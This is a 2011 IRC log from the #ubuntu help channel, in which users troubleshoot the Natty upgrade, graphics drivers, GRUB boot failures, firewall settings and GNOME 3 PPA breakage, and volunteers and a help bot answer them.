[10:11] <lifeofguenter> hmm this is weird.. I can not connect to a certain IP (no matter what port)
[10:11] <Ubuntu123> Yesterday i install propietary nvidia drivers frop repo(270.41.06...which is supported by my graphics card...nVidia GeForce 7300 SE/7200 GS..according to nVidia website)...yet i failed to log into unity and classic session.....though a test shows that unity is supported...can anyone help?
[10:11] <lifeofguenter> but I can ping that IP perfectly
[10:11] <Incarus6> Chepoll, please tell us more details in your question, maybe someone will answer it then
[10:11] <PresuntoRJ> Jordan_U: so what do you mean by "one time boot"  ?
[10:11] <Ciccio89> hi, i have this problem: i install ubuntu 11.04 but now the visual effects do not work. I have a video card nvidia geforce go 7300 and drivers that are installed are those that you recommend ubuntu. can you help me?
[10:11] <PresuntoRJ> Jordan_U: sorry if I dit not get it
[10:11] <gurmal> @Chepoll thats what Im doing
[10:11] <Tweaky> incarus6: http://pastebin.com/qdZC6T34
[10:12] <Giles> Incarus6: I issue aptitude, and it says package not installed, sudo apt-get install -f reports: Reading package lists... Done Building dependency tree        Reading state information... Done 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
[10:12] <Chepoll> bazhang, my error #1: before startx, I can launch "irssi" no problem. AFter I startx, when I try to launch irssi, it says "rxvt-256 color: unknown terminal type"
[10:13] <Hamza> Hello , I have HP Notebook Pavilion dv6 , i7 , 4GB ram ... Ubuntu , Linux Mint stuck when shutting down or Restarting ! HOW to FIX THIS , i CAN't WORK ON WINDOWS !!!
[10:13] <Jordan_U> PresuntoRJ: Most BIOSs have an option to "Press F8 for a one time boot menu" (where F8 is just an example, the exact key is different for every BIOS). This will bring up a menu listing your drives and allow you to chose which drive to boot.
[10:13] <Jordan_U> !mint | Hamza
[10:13] <ubottu> Hamza: Linux Mint is not a supported derivative of Ubuntu. Please seek support in #linuxmint-help on irc.spotchat.org
[10:13] <dibs> I am getting stuck when trying to updgrade to natty from mav. is this common?
[10:13] <Laibsch> Hi, I'm looking for help to get back a working initramfs to boot my encrypted LVM: https://answers.launchpad.net/ubuntu/+source/initramfs-tools/+question/154973/ (FWIW, "sudo dpkg-reconfigure lvm2 && sudo update-initramfs -u -k all" as suggested earlier unfortunately did not do the trick)
[10:13] <Incarus6> Tweaky, "sudo aptitude clean && sudo aptitude update && sudo apt-get update", then try the aptitude download command again (use copy-paste, its faster)
[10:13] <Hamza> well
[10:13] <PresuntoRJ> Jordan_U: ahhh... not sure if this system has the menu for boot order during the boot, I will check
[10:13] <Hamza> Hello , I have HP Notebook Pavilion dv6 , i7 , 4GB ram ... Ubuntu , Linux Mint stuck when shutting down or Restarting ! HOW to FIX THIS , i CAN't WORK ON WINDOWS !!! Ubuntu 10.10 , 11.4 and 10.04
[10:13] <dibs> Hamza: no one can work on windows?
[10:14] <Hamza> i tried them all on the same machine + FEDORA
[10:14] <Ubuntu123> Yesterday i install propietary nvidia drivers frop repo(270.41.06...which is supported by my graphics card...nVidia GeForce 7300 SE/7200 GS..according to nVidia website)...yet i failed to log into unity and classic session.....though a test shows that unity is supported...can anyone help?
[10:14] <usb333> I just upgraded to Natty and it won't boot. It says "The disk drive for / is not ready yet or not present. Continue to wait; or Press S to skip mounting or M for manual recovery"
[10:14] <Hamza> well i using Linux since 1997 , never face such issue with my machines !
[10:14] <Incarus6> Hamza, this isn't an ubuntu related question, try it in #linux
[10:15] <Ciccio89> Ubuntu123, i have same problem
[10:15] <Hamza> even i am getting ready to get rid of this machne and get Dell i5 instead !
[10:15] <Tweaky> incarus6: i get the same error lol. would i be better off perhaps to backup and install new version?
[10:15] <Hamza> WELL it's MAINLY Ubuntu related , Question cause Ubuntu is my major issue ,
[10:15] <Incarus6> Tweaky, no
[10:15] <Ubuntu123> <Ciccio89>have u come up with a solution yet?
[10:15] <Hamza> Ubuntu Stuck at Shutting DOWN
[10:15] <Incarus6> Hamza, but Linux Mint to, so it's a kernel issue
[10:15] <Hamza> 10.04 , 10.10 and 11.04 :(
[10:15] <PresuntoRJ> Jordan_U: yes it does, and I have forced to use the HDD 322 (the sda1, also the first in the boot order)... it shows as if it has decompressed some linux image (long line of dots) and then, just blank again
[10:15] <Giles> Hamza: try using the cap-locks key, then people might hear you ;)
[10:16] <Hamza> well check those linux distros am trying for a WEEK
[10:16] <Hamza> UBUNTU's
[10:16] <MaRk-I> !mint | Hamza
[10:16] <ubottu> Hamza: Linux Mint is not a supported derivative of Ubuntu. Please seek support in #linuxmint-help on irc.spotchat.org
[10:16] <Jordan_U> PresuntoRJ: Does it always show output before going blank?
[10:16] <Ubuntu123> Yesterday i install propietary nvidia drivers frop repo(270.41.06...which is supported by my graphics card...nVidia GeForce 7300 SE/7200 GS..according to nVidia website)...yet i failed to log into unity and classic session.....though a test shows that unity is supported...can anyone help?
[10:16] <bazhang> Hamza, youre using MINT?
[10:16] <gurmal> @ hamza dude I am a novice my self but ... I think some problem with services or grub..... Try  forums .. Try diagnose things yourself ..be patient :)
[10:16] <appi_uppi> hi, what is purpose of using .phd file
[10:16] <PresuntoRJ> Jordan_U: not sure... I can check
[10:16] <Hamza> am not talking about LINXU MINT NOW
[10:16] <Hamza> nope using the lame 11.04
[10:16] <Hamza> Ubuntu
[10:16] <Giles> Ubuntu123: not very patient are we?
[10:16] <Hamza> now and it stuck
[10:16] <Hamza> as well
[10:16] <Incarus6> Ubuntu123, did you try to remove and reinstall?
[10:16] <FloodBot1> Hamza: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[10:17] <bazhang> Hamza, actual question? or just complaints
[10:17] <Ubuntu123> <Incarus6>yeah
[10:17] <Incarus6> bazhang, he just doesn't want to accept, that that is a kernel issue
[10:17] <lifeofguenter> does ubuntu have some sort of firewall activated by default?
[10:17] <Tweaky> incarus6: alright so whats the next step
[10:17] <lifeofguenter> I can't access a certain IP anymore
[10:17] <Hamza> well Ubuntu 10.04 , 10.10 , 11.04 stuck at shutting down my machine
[10:17] <bazhang> lifeofguenter, iptables?
[10:17] <Shaggy2> I have a problem with rythmbox 0.12.8 on ubuntu 10.04the visualisations are lagging is like 1 image refresh per second
[10:17] <lifeofguenter> iptables are empty bazhang
[10:17] <Hamza> how i can fix this !
[10:17] <Incarus6> lifeofguenter, most linux distributions got a firewall (her iptables)
[10:18] <Ubuntu123> Giles:iguess i am not :))....obsessed with the compiz
[10:18] <bazhang> Hamza, need more info
[10:18] <oussama> Hamza, what machine you are using ?
[10:18] <gurmal> @hamza what does your system log say..whats the error
[10:18] <Jordan_U> !firewall | lifeofguenter
[10:18] <ubottu> lifeofguenter: Ubuntu, like any other Linux distribution, has firewall capabilities built-in. The firewall is managed using the 'ufw' command - see https://help.ubuntu.com/community/UFW | An alternative to ufw is the 'iptables' command - See https://help.ubuntu.com/community/IptablesHowTo | GUI frontends such as Gufw (Gnome) or Guarddog (KDE) also exist.
[10:18] <Hamza> NO ERRORS just stuck .
[10:19] <Jordan_U> Hamza: Please stop using all caps.
[10:19] <usb333> Guys, I just upgraded to Natty and it won't boot. It says "The disk drive for / is not ready yet or not present. Continue to wait; or Press S to skip mounting or M for manual recovery"
[10:19] <MACscr> how do i change which monitor is my primary monitor?
[10:19] <bazhang> Hamza, without errors its impossible to troubleshoot
[10:19] <Hamza> bazhang, HP i7 ,Pavilion dv6 , 4GB Rams  , ATI 1.5 G Graphics .
[10:19] <Giles> Ubuntu123: heh, I did compiz --replace...
[10:19] <incorrect1> has anyone tried gnome3?
[10:19] <lifeofguenter> Jordan_U, / Incarus6 iptables and ufw are deactivated - but I still can't access the IP
[10:19] <Ubuntu123> <Giles>did it work?
[10:19] <PresuntoRJ> it blinks really fast to the black screen, but I could read something like:
[10:19] <omnibrain> so im installing ubuntu, what kind of partitions does it need, a swap (=size of my ram), a root / and anything else?
[10:19] <PresuntoRJ> DMI Check............................................................................................
[10:19] <ratc> what's the purpose of a dummy upgrade package? firefox likes to use a lot of them it seems
[10:19] <PresuntoRJ> AMD data change... Update to new
[10:19] <bazhang> incorrect1, got a question about it? its unsupported from a PPA
[10:19] <Giles> Ubuntu123: I have window shadows but no wobbly windows.
[10:19] <gurmal> ps i hate mec ....bye
[10:20] <Hamza> bazhang, the machine stuck i can't get error cause the splash screen !
[10:20] <PresuntoRJ> Jordan_U: then Boot from CD:
[10:20] <PresuntoRJ> Jordan_U: and blank
[10:20] <Jordan_U> Hamza: Try booting without the "splash" kernel parameter. That should disable the splash at boot and shutdown. Then if possible take a picture of the last output on the screen.
[10:20] <incorrect1> bazhang, i was wondering how stable it currently is, i've seen the ppa and i know it will trash unity
[10:20] <bazhang> Hamza, then disable splash and note down the errors
[10:20] <Acriax> is it possible to move the ubuntu bar from top to the bottom?
[10:20] <Ubuntu123> <Giles>and did unity work?
[10:20] <bazhang> incorrect1, not at all stable. avoid PPA
[10:20] <Incarus6> lifeofguenter, there is another "firewall" app, I can't remember the name, moment
[10:20] <Giles> Ubuntu123: well compiz spat out : Profile     : unity
[10:20] <Jordan_U> PresuntoRJ: None of that sounds like decompressing a kernel.
[10:21] <kbrosnan> ratc: they are a common thing in the deb/apt-get package managemnet system
[10:21] <Giles> Ubuntu123: amongst other things.
[10:21] <incorrect1> bazhang, thanks, i am just starting to find unity too incomplete for my desktop
[10:21] <kbrosnan> ratc: they have nothing specific to do with Fireofx
[10:21] <Giles> Ubuntu123: but, isn't unity supposed to have a different start menu?
[10:21] <Hamza> bazhang, i did that but the machine FREEZED
[10:21] <incorrect1> i figured i might try gnome3
[10:21] <Ubuntu123> <Giles>so it worked to some extent
[10:21] <PresuntoRJ> Jordan_U: I am pretty sure it is the usual BIOS Post of my system... the ...................................... that called my attention before that looked like a kernel decompression
[10:21] <MACscr> nvm, figured it out. xrandr --output DVI-1 --primary seemed to do it
[10:21] <Jordan_U> incorrect1: If you are thinking of firestarter please don't recommend it. There is a reason it was removed from the ubottu factoid.
[10:21] <ratc> kbrosnan , so what purpose do they serve?
[10:22] <Incarus6> lifeofguenter, SElinux and/or apparmor
[10:22] <omnibrain> if i dont specify a home partition during install it will put it in "/"?
[10:22] <Giles> Incarus6: I think I am actually *in* unity all along, but I don't have the weird new menus
[10:22] <Jordan_U> omnibrain: Yes.
[10:22] <usb333> Guys, I just upgraded to Natty and it won't boot. It says "The disk drive for / is not ready yet or not present. Continue to wait; or Press S to skip mounting or M for manual recovery"
[10:22] <Incarus6> Tweaky, where is the main repo?
[10:22] <kbrosnan> ratc: don't know deb packaging well enough to say. i suspect they allow for validating or merging packages
[10:22] <Giles> Incarus6: Do I prehaps need to  reset my users desktop settings?
[10:23] <dibs> http://paste.ubuntu.com/601231/ how can I fix this so I can upgrade, being trying to get help since yesterday
[10:23] <Incarus6> Giles, No. Did you restart your computer and tried to select the Unity desktop again?
[10:23] <MnCC> in search of a good backup utility .. any recommendations ? i must be able to backup/restore my ubuntu partition
[10:23] <bazhang> dibs, try another mirror yet?
[10:23] <Incarus6> Tweaky, nevermind, its in line 5 i think
[10:24] <PresuntoRJ> Jordan_U: so, I still don see any reason why it wont boot... in the live I can see the files are in the correct position... I have md5sum check them with my laptop, the /etc/grub seems sane, why would it be gone? is there a way to force the update-grub2 and update-initramfs -u from the live CD onto my "dead" system?
[10:24] <Ciccio89> hi, i have this problem: i install ubuntu 11.04 but now the visual effects do not work. I have a video card nvidia geforce go 7300 and drivers that are installed are those that you recommend ubuntu. can you help me?
[10:24] <bazhang> !sbackup | MnCC
[10:24] <ubottu> MnCC: sbackup is a tool to create complete and/or incremental backups (which can be scheduled to be automatic, and can be done over a network). It is available in !Universe
[10:24] <mouse> Okay for some reason ubuntu won't recognize a certain bootable usb device.  It will mount/unmount others but not this one.  And I can still boot from it so I know the usb hasn't gone bad.  How do I mount it or reformat it?
[10:24] <Giles> Yeah, after removing the Nvidia drivers yes, and when I logged back in I get the classic desktop, but the menu bar "slides" down (a visual effect)
[10:24] <talntid> MnCC, duplicity
[10:24] <omnibrain> omg what partition should i select for the bootloader
[10:24] <MnCC> thanx
[10:24] <Giles> Incarus6: Yeah, after removing the Nvidia drivers yes, and when I logged back in I get the classic desktop, but the menu bar "slides" down (a visual effect)
[10:24] <Jordan_U> omnibrain: Do *not* install grub's boot sector to a partition. Install it to the mbr.
[10:25] <Giles> Incarus6: How can I enable the other visual effects, such as wobbly windows?
[10:25] <dibs> bazhang: how do I change to a different Mirror. I was hoping to get from a NZ one if possible
[10:25] <ratc> kbrosnan , i think i understand now. if you install something by hand, it won't show up in you packet manager, and if some package require an other that is installed by hand, a dummy package needs to be installed so the package can't complain a package can't be found
[10:25] <Incarus6> Tweaky, I have no Idea why you can't download these packages. I think you have to download all of these by hand (packages.ubuntu.com, allways from "maverick")
[10:25] <Bojan_> Icarus6 install ubuntu tweak
[10:25] <omnibrain> Jordan_U, where is the mbr, is it "/dev/sda1 Windows 7 (loader) ?
[10:25] <bazhang> dibs, in synaptic package manager , if memory serves
[10:26] <Incarus6> Giles, I don't know, I'm using KDE. Unity isn't working for me
[10:26] <Jordan_U> omnibrain: No. It is /dev/sda
[10:26] <Bojan_> or just change to wobly in compiz
[10:26] <omnibrain> ok
[10:26] <Giles> Bojan_: How do I configure compiz?
[10:26] <bazhang> !ccsm | Giles
[10:26] <ubottu> Giles: To enable advanced customization of desktop effects in Ubuntu: install 'compizconfig-settings-manager' or 'simple-ccsm'. If you install the latter, a new option will appear in your appearance properties - See also !compiz - Help in #compiz
[10:27] <Giles> bazhang: ta
[10:27] <Tweaky> incarus6: alright
[10:27] <PresuntoRJ> Jordan_U: any ideas ?
[10:27] <Bojan_> thats it ubottu
[10:27] <Incarus6> Tweaky, so please download them in one directory (also the "security" packages)
[10:27] <andeeeuk> do not whatever you do upgrade to gnome3 it is a pile of shit!!!
[10:27] <kaban> hello
[10:27] <andeeeuk> skrews everything up!
[10:27] <Bojan_> will have to log out and log in again if you are using unity
[10:27] <bazhang> andeeeuk, no cursing
[10:27] <Bojan_> after changing to wobly
[10:28] <Incarus6> !gnome3 | andeeeuk
[10:28] <ubottu> andeeeuk: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[10:28] <andeeeuk> great absolutly great!!!
[10:28] <Bojan_> gnome 3 ppa chrashes unity
[10:28] <PresuntoRJ> andeeeuk: not because its bad, but because it changes most of the libraries to Gnome3 and Ubuntu (Natty included, specially Unity) uses Gnome2
[10:28] <andeeeuk> breaks everything
[10:28] <andeeeuk> how can i get it all back
[10:28] <andeeeuk> lol
[10:28] <Bojan_> jap
[10:28] <andeeeuk> i cant seem to do anything now :s
[10:28] <Incarus6> andeeeuk, "safe downgrading is not possible."
[10:29] <bazhang> andeeeuk, #ubuntu-offtopic for complaints. here for actual support
[10:29] <Bojan_> yap i reinstalled
[10:29] <kaban> I upgrade my ubuntu do 11.04 serverx does not start... here is my log: http://wklej.org/id/521203/ how can I solve this problem?
[10:29] <andeeeuk> oh my days!!!!
[10:29] <Incarus6> Tweaky, write me if you finished
[10:29] <Jordan_U> PresuntoRJ: Follow this guide: http://webcache.googleusercontent.com/search?q=cache:http://grub.enbug.org/Grub2LiveCdInstallGuide and run grub-install against all of your drives. If that doesn't fix things then please file a bug report.
[10:29] <PresuntoRJ> Jordan_U: sorry man, are you still online?
[10:29] <Jordan_U> PresuntoRJ: Also try holding shift during boot.
[10:30] <Acriax> Is it possible to use Ubuntu Classic with the Unity color scheme?
[10:30] <PresuntoRJ> Jordan_U: I will see what I can do ;) be right back
[10:30] <Incarus6> kaban, reinstall fglrx
[10:30] <Acriax> For me it keeps the dark gray color scheme for about 10-15 seconds after login, and the switches over to the oldschool plain light grey one.
[10:30] <milen8204> what was the name of music editing program audacacy or some like that ?
[10:31] <Acriax> audacity
[10:31] <Bojan_> audacity
[10:31] <Ubuntu_user> anybody facing problem with windows 7 and ubuntu dual boot, i have found fixed soulution?
[10:31] <milen8204> Acriax, thanks you saving me today :D
[10:31] <kaban> thanks incarus6, i will try :)
[10:31] <spirals> Which package provides tab completion for various utilities in the shell? Vanilla Debian doesn't do that
[10:32] <Jordan_U> spirals: bash-completion
[10:32] <spirals> Jordan_U, thanks!
[10:32] <Jordan_U> spirals: You're welcome.
[10:32] <Acriax> so anyone know why it is switching back to the light grey colour-scheme after a few seconds?
[10:33] <Tetsuo55> lol this a funny bug, i switched to a higher resolution and all the windows are stuck in the old resolution
[10:33] <dooglus> when I update, apt-get gives me an error message:
[10:33] <dooglus> W: GPG error: http://server natty InRelease: The following signatures were invalid: NODATA 1 NODATA 2
[10:33] <loseweighttttttt> i keep getting 'failiure in name resolution' what should i do?
[10:33] <dooglus> is it safe?
[10:33] <loseweighttttttt> this happens when i try to yum update or yum install
[10:33] <bazhang> loseweighttttttt, yum?
[10:33] <Incarus6> loseweighttttttt, are you suing opensuse?
[10:34] <loseweighttttttt> yes yum
[10:34] <loseweighttttttt> no im using centos
[10:34] <bazhang> loseweighttttttt, wrong channel
[10:34] <Incarus6> bazhang, I think its the opensuse "apt-get"
[10:34] <Incarus6> or centos
[10:34] <andeeeuk> so what can i do to get my ubuntu back to its original state?
[10:34] <M0TRN> loseweighttttttt, why are you asking Centos question in #ubuntu?
[10:34] <loseweighttttttt> no1 is talking in centos though
[10:34] <bazhang> #centos loseweighttttttt
[10:34] <loseweighttttttt> i was hoping some1 here could help
[10:34] <loseweighttttttt> i know its not the correct channel but
[10:34] <bazhang> loseweighttttttt, then be patient
[10:34] <dooglus> I'm asking an ubuntu question
[10:34] <bazhang> loseweighttttttt, no
[10:34] <loseweighttttttt> it is a kind of general question not specific to any operating system
[10:34] <loseweighttttttt> so please help
[10:34] <loseweighttttttt> PLEASE!!!!!!!!!!
[10:35] <FloodBot1> loseweighttttttt: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[10:35] <M0TRN> loseweighttttttt, no its not
[10:35] <bazhang> loseweighttttttt, be patient in #centos
[10:35] <Incarus6> loseweighttttttt, change the mirror. and dont ask here
[10:35] <loseweighttttttt> what takes more effort
[10:35] <loseweighttttttt> telling me to change channel
[10:35] <loseweighttttttt> or
[10:35] <Incarus6> dooglus, looks like a typo
[10:35] <loseweighttttttt> just helping me?
[10:35] <FloodBot1> loseweighttttttt: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[10:35] <Ubuntu_user> !please | loseweighttttttt
[10:35] <ubottu> loseweighttttttt: Avoid following your questions with a trail of "Please, help me", "Can nobody help me?", "I really need this!", and so on. This just contributes to making the channel unreadable. If you are not answered, ask again later; but see also !repeat and !attitude
[10:36] <bazhang> loseweighttttttt, stop.
[10:36] <loseweighttttttt> fine
[10:36] <linux> Please!
[10:36] <dooglus> when I update, apt-get gives me an error message: "W: GPG error: http://server natty InRelease: The following signatures were invalid: NODATA 1 NODATA 2".  what does that mean?
[10:36] <loseweighttttttt> i take it ubuntu doesnt have yum
[10:36] <bazhang> loseweighttttttt, no it does not
[10:37] <andeeeuk> bazhang is it possibly to get back to my original version on ubuntu 11.04?
[10:37] <Incarus6> dooglus, http://server is not a valid server
[10:37] <dooglus> Incarus6: it's my apt-cacher server
[10:37] <bazhang> andeeeuk, version of what
[10:37] <Incarus6> andeeeuk, install another desktop, remove gnome and reinstall gnome again
[10:37] <Bojan_> wish thayve changed the notification system in unity, better on gnome 3 much bether
[10:37] <dooglus> Incarus6: it's worked for years, and still works ("Get:1 http://server/security/ natty-security/main firefox-globalmenu i386 4.0.1+build1+nobinonly-0ubuntu0.11.04.1 [50.5 kB]") - but I'm getting that GPG error since yesterday
[10:37] <andeeeuk> bazhang gnome is not intsalled and will not reinstall again because of dependancies
[10:38] <Incarus6> dooglus, it could be that something had changed, that it doesn't work anymore
[10:38] <bazhang> andeeeuk, were you using the unsupported PPA of gnome3?
[10:38] <fcuk112> what's the best way to fix iphone mount support in natty?
[10:38] <andeeeuk> no i was using the official
[10:38] <Incarus6> bazhang, he installed gnome3 and is trying to revert to gnome2
[10:38] <loseweighttttttt> anyway i solved the problem
[10:38] <bazhang> andeeeuk, there is no official gnome3
[10:38] <loseweighttttttt> changed the nameserver in resolve.conf
[10:39] <loseweighttttttt> thanks for the help, !thanks
[10:39] <loseweighttttttt> !sarcasm
[10:39] <DirtyDawg> loseweighttttttt: try ##linux
[10:39] <andeeeuk> ok well i was sure it was the right one
[10:39] <Incarus6> loseweighttttttt, should I call OP?
[10:39] <loseweighttttttt> it wont let me type in there
[10:39] <bazhang> Incarus6, no need
[10:39] <clakes> is there any advantage in runnin a classic ubuntu on 11.04 as opposed to 10.10?
[10:40] <bazhang> clakes, depends on you
[10:40] <Incarus6> still downloading, Tweaky?
[10:40] <dFshadow> anyone pull off dual boot on an existing macbook pro with the latest ubuntu?
[10:40] <dFshadow> from a USB
[10:40] <dFshadow> to boot from the USB to install i mean
[10:40] <PresuntoRJ> Jordan_U: I am still going to try the chroot, but just FYI, holding the SHIFT during the boot will also write a Loading GRUB message, but still gets me no where but to the blank screen... could it be an impossibly high resolcution setting for the GRUB menu no to show?
[10:40] <clakes> i mean... i upgraded to natty but only noticed themeing issues so far
[10:41] <Wally> dFshadow like option boot?
[10:41] <clakes> elegant gnome won't stick on a standard ubuntu session
[10:41] <bazhang> clakes, you can use classic, unity 3d or install 2d if your card does not support 3d
[10:41] <dFshadow> N'Wally: not sure what option boot refers to
[10:41] <zaf_> hi there
[10:41] <Witchsong> No one here knows how to add another icon set to LibreOffice?
[10:41] <Wally> When you boot your mac, hold down option.. you should see your USB drive there.
[10:42] <zaf_> i have a problem with webmin and mon
[10:42] <zaf_> can anyone help me
[10:42] <bazhang> Witchsong, tried the libreoffice channel yet?
[10:42] <clakes> thank you bazhang
[10:42] <bazhang> !webmin | zaf_
[10:42] <ubottu> zaf_: webmin is no longer supported in Debian and Ubuntu. It is not compatible with the way that Ubuntu packages handle configuration files, and is likely to cause unexpected issues with your system.
[10:42] <dFshadow> yeah but i need to prep another partition before i do that to install the OS to, don't i?
[10:42] <Witchsong> Yeah, but no answer there. Was hoping maybe someone here knew. :)
[10:42] <MACscr> btw, where should we go to properly bitch about unity? I mean "give feedback"?
[10:42] <Wally> yeah use the Bootcamp Assistant.
[10:42] <dFshadow> k
[10:42] <bazhang> MACscr, #ubuntu-offtopic I suppose
[10:42] <Wally> dFshadow quite personally, you'd be better off running it as a VM though
[10:42] <loseweighttttttt> is ubuntu even used for servers? isn't it just a desktop thing
[10:43] <bazhang> loseweighttttttt, yes there is a server edition
[10:43] <dFshadow> why do you say that? my windows install inside a VM is so sluggish that i rarely use it
[10:43] <PresuntoRJ> loseweighttttttt: no, as every linux, its a server thing before and foremost
[10:43] <MACscr> bazhang: im not wanting to chat, i want to give feedback to the developers so they actually know what their users are thinking
[10:43] <bazhang> !server > loseweighttttttt
[10:43] <ubottu> loseweighttttttt, please see my private message
[10:43] <zaf_> well what can i ude instead webmin
[10:43] <Wally> What sort of Mac do you have?
[10:43] <Incarus6> loseweighttttttt, canonical got a good support for companys
[10:43] <bazhang> MACscr, brainstorm then
[10:43] <PresuntoRJ> loseweighttttttt: but it also has a nice desktop (GUI) on top
[10:43] <Wally> and are you using Virtual box over VMware?
[10:43] <dFshadow> macbook pro 5.1 - first gen unibody
[10:43] <bazhang> !brainstorm | MACscr
[10:43] <ubottu> MACscr: Post your ideas for Ubuntu at http://brainstorm.ubuntu.com and vote for the ones you like!
[10:43] <Jordan_U> PresuntoRJ: The grub loading tells a lot. I forgot that Ubuntu disables that as well unless you're holding shift. Yes, it coould be that grub is trying to set the resolution too high. If you follow the guide I linked to and uncomment GRUB_TERMINAL=console in /etc/default/grub (before running grub-mkconfig) then it should disable the mode setting by grub.
[10:43] <dFshadow> 4GB RAM
[10:43] <loseweighttttttt> hmm
[10:44] <dibs> HELPP!!!!  I can't upgrade, it just dies but here's the result from my sudo do-release-upgrade. http://paste.ubuntu.com/601236/
[10:44] <dFshadow> 2.53GHz c2d
[10:44] <loseweighttttttt> i've never seen ubuntu offered as os on any hosting companies
[10:44] <Wally> dFshadow if you're not using VMware then there's a problem
[10:44] <Wally> XP runs fine on my Mid 2010 13" MBP
[10:44] <PresuntoRJ> Jordan_U: when I chroot, you mean?
[10:44] <dibs> doesn't dreamhost use some ubuntu?
[10:44] <Incarus6> dibs, you used foreign repo sources, pls poste "apt.log"
[10:44] <Incarus6> *paste
[10:44] <dFshadow> for windows i used parallels, not VMWare
[10:44] <dibs> Incarus6: ty, will post
[10:44] <Wally> Ewww
[10:44] <Wally> Thats even worse than VirtualBox
[10:45] <Wally> Try Vmware.
[10:45] <Jordan_U> PresuntoRJ: Yes.
[10:45] <kaban> hello again, I reinstalled fglrx but the same problem...
[10:45] <dFshadow> hmm ok
[10:45] <Neo_Kipl1ng> I just updated system by apt-get, and found out its still version 10.10, is 11.40 really released?
[10:46] <Incarus6> Neo_Kipl1ng, apt-get isn't supposed to upgrade your system, try "update-manager"
[10:46] <andeeeuk> gnome3 destroys everything no not install it!!!
[10:46] <DirtyDawg> :o
[10:47] <Rziz> Hm, where are gdm's theming settings stored? In gconf in /var/lib/gdm?
[10:47] <Incarus6> !upgrade | Neo_Kipl1ng
[10:47] <ubottu> Neo_Kipl1ng: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[10:47] <Neo_Kipl1ng> Incarus6: i tried update-manager -d, same thing
[10:47] <PresuntoRJ> Jordan_U: I cannot chroot following the steps there... it complains
[10:47] <PresuntoRJ> bash: groups: command not found
[10:47] <PresuntoRJ> Jordan_U: using Lucid 32bits as Live
[10:47] <Incarus6> Neo_Kipl1ng, "-d" means, that you upgrade to the next unstable version, which isn't released yet, try without "-d"
[10:47] <kaban> Incarus6: i uninstalled fglrx, moved folders /usr/lib/fglrx and /usr/lib32/fglrx to have clear install and installed it again - no resutls
[10:48] <Jordan_U> PresuntoRJ: After what command?
[10:48] <Soothsayer> why do I keep getting the "Fixing recursive fault but reboot is needed!"
[10:48] <Neo_Kipl1ng> Incarus6: thanks, i will try
[10:48] <PresuntoRJ> Jordan_U: just when I try to chroot
[10:48] <dibs> Incarus6: http://paste.ubuntu.com/601238/ please help. I had only just switched to the fastest mirror which was near-by
[10:48] <Soothsayer> after 11.04 installation, my laptop is kinda acting weird
[10:48] <Jordan_U> PresuntoRJ: What is the exact command you are running?
[10:48] <Keshl> To whoever tried to help me with Wubi a few days ago: Thanks for your help, we got it working now. Rev 211 fixed the bug, it doesn't download a live image and get a version mismatch anymore. Just saying, figured I should let you guys know.
[10:48] <Soothsayer> it doesn't boot at times.. gives that fixing recursive fault , ...
[10:49] <Shaggy2> I have a logitech g15 Keyboard. I want to use the LCD display in ubuntu does anyone know how I can go about this, or where I can find help on this matter
[10:49] <PresuntoRJ> Jordan_U: the mounts work, even with the --bind... and chroot does not... I believe the binding with sys is the cause
[10:49] <PresuntoRJ> Jordan_U: not sure how then
[10:49] <Incarus6> kaban, did 10.10 work for you? something is buggy with the driver, or your hardware isn't supported "[   228.444] (WW) fglrx(0): board is an unknown third party board, chipset is supported"
[10:49] <Jordan_U> PresuntoRJ: What is the exact command you are running?
[10:50] <kaban> Incarus6: it worked in 10.10 very well, compiz and so on works fine
[10:50] <Incarus6> dibs, now paste same file, but with: "cat apt.log | grep Broken"
[10:50] <snowrichard> finally got all the packages downloaded for 11.04 upgrade
[10:51] <snowrichard> it says installing them is another 2 hrs
[10:51] <Vustom> Where can I find that folder in the Ubuntu directory that has all the launchers for my currently installed applications?
[10:51] <PresuntoRJ> Jordan_U: just told you... as the link you have sent me... http://webcache.googleusercontent.com/search?q=cache:http://grub.enbug.org/Grub2LiveCdInstallGuide
[10:51] <PresuntoRJ> 1- sudo mount /dev/sda1 /mnt
[10:51] <PresuntoRJ> 2- sudo mount --bind /dev /mnt/dev
[10:51] <PresuntoRJ> 3- sudo mount --bind /proc /mnt/proc
[10:51] <PresuntoRJ> 4- sudo mount --bind /sys /mnt/sys
[10:51] <FloodBot1> PresuntoRJ: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[10:51] <PresuntoRJ> 5- sudo chroot /mnt
[10:51] <PresuntoRJ> Jordan_U: message
[10:52] <Jordan_U> PresuntoRJ: I just asked you for the single command. I'm sorry but you'd be amazed at what people actually run when they say their following a guide.
[10:52] <Jordan_U> PresuntoRJ: I have no idea why you're getting that error and I need to get some sleep.
[10:53] <PresuntoRJ> Jordan_U: sorry, the single command I have runned that got the message was, as told before, sudo chroot /mnt
[10:53] <Incarus6> kaban, sounds like a regression to me, I would report that as bug to the ubuntu bug tracker.. sry, can't help you with that issue
[10:53] <PresuntoRJ> Jordan_U: but that could be understood by you as if I have jumped steps, and I wanted to demonstrate I have not...
[10:53] <Shaggy2> I have a logitech g15 Keyboard. I want to use the LCD display in ubuntu does anyone know how I can go about this, or where I can find help on this matter
[10:53] <PresuntoRJ> Jordan_U: still, no chroot :-(
[10:53] <Vustom> no help? D:
[10:54] <kaban> incarus6: I will try with pure install, many thanks :)
[10:54] <Incarus6> Vustom, I think they are located in a config file, not in a folder
[10:54] <Mrokii> Hello. I have upgraded to 11.04 and wanted to see if the nvidia-drivers are installed. Turns out they are "active" but not "in use". How can I actually use them?
[10:54] <Vustom> There in a folder, I went there before but forgot how to get back. D:
[10:54] <Incarus6> kaban, do you think that will fix it? I would try the live cd (or a persistent live usb stick) first
[10:55] <Incarus6> Mrokii, enable them in "jockey"
[10:55] <Mrokii> Incarus6: erm... what is jokey?
[10:55] <cousin_mario> hello
[10:55] <kaban> Incarus6: I will try livecd first, of course, we will see what happen
[10:55] <blurgh> Has anyone managed to get global menu working in Eclipse? Or is it depending on developers to fix it?
